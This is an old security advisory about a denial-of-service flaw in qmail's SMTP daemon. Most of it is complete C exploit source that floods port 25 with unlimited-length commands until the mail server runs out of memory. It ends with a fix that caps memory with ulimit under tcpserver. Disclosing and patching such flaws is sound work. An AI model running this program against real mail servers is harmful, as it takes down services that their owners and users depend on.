COMMAND
qmail
SYSTEMS AFFECTED
Systems running qmail
PROBLEM
Wietse Venema found following a very trivial denial of service
attack. By sending SMTP commands of unlimited length, an attacker
can make the machine run out of memory, thus rendering it
completely unusable.
Below is a little program that demonstrates the problem. It could
probably be done a much smaller PERL program. Exploit follows.
/*
* qmail-dos-1 - run a qmail system out of swap space by feeding long SMTP
* commands.
*
* Usage: qmail-dos-1 hostname
*
* Author: Wietse Venema. The author is not responsible for abuse of this
* program. Use at your own risk. Batteries not included.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>
void fatal(char *fmt,...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
putc('\n', stderr);
exit(1);
}
int main(int argc, char **argv)
{
struct sockaddr_in sin;
struct hostent *hp;
char buf[BUFSIZ];
int sock;
FILE *fp;
if (argc != 2)
fatal("usage: %s host", argv[0]);
if ((hp = gethostbyname(argv[1])) == 0)
fatal("host %s not found", argv[1]);
memset((char *) &sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
sin.sin_port = htons(25);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
fatal("socket: %s", strerror(errno));
if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
fatal("connect to %s: %s", argv[1], strerror(errno));
if ((fp = fdopen(sock, "r+")) == 0)
fatal("fdopen: %s", strerror(errno));
if (fgets(buf, sizeof(buf), fp) == 0)
fatal("connection lost");
memset(buf, 'X', sizeof(buf));
fseek(fp, 0L, SEEK_SET);
while (fputs(buf, fp) != EOF)
/* void */ ;
}
SOLUTION
Put some upper bound on the amount of data that qmail-smtpd
reads per command.
If you are using tcpserver it should be sufficient to set the
ulimit once in the startup script. All instances of qmail-smtpd
inherit the limit without further overhead. Seems to be working
fine here.
echo "Starting tcpserver for qmail-smtpd..."
ulimit -d 2048
/usr/local/bin/tcpserver -v -u 61 -g 61 0 smtp /usr/local/bin/tcpcontrol \
/etc/tcp.smtp.cdb /var/qmail/bin/qmail-smtpd 2>&1 | \
/var/qmail/bin/splogger smtpd 3 &